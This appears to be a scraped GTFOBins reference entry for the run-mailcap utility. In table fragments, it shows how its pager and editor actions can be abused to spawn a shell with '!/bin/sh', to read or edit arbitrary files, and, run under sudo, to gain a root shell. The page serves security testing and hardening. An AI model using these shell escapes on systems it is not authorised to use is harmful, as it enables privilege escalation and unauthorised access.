description |
code |
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. |
run-mailcap --action=view /etc/hosts
!/bin/sh
|
|
|
description |
code |
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. |
run-mailcap --action=view file_to_read |
|
|
description |
code |
The file must exist and be not empty.
This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.
|
run-mailcap --action=edit file_to_read |
|
|
description |
code |
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. |
sudo run-mailcap --action=view /etc/hosts
!/bin/sh
|
|
|